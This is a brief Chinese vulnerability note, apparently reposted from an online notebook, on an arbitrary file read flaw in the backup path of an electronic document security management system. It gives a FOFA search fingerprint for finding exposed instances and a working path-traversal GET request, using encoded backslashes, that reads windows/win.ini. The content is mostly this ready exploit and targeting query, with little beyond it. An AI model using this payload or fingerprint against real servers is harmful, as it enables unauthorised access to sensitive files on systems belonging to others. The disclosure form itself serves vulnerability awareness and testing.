登录 白背景
源码

电子文档安全管理系统backup存在任意文件读取漏洞

一、漏洞简介

电子文档安全管理系统backup存在任意文件读取漏洞，攻击者可通过该漏洞获取敏感信息。

二、影响版本

  • 电子文档安全管理系统

三、资产测绘

  • fofabody="docsafe/docsafe.nocache.js"
  • 特征

image.png

四、漏洞复现

GET /resources/backup/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Host:

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ef5aearlcpog05ob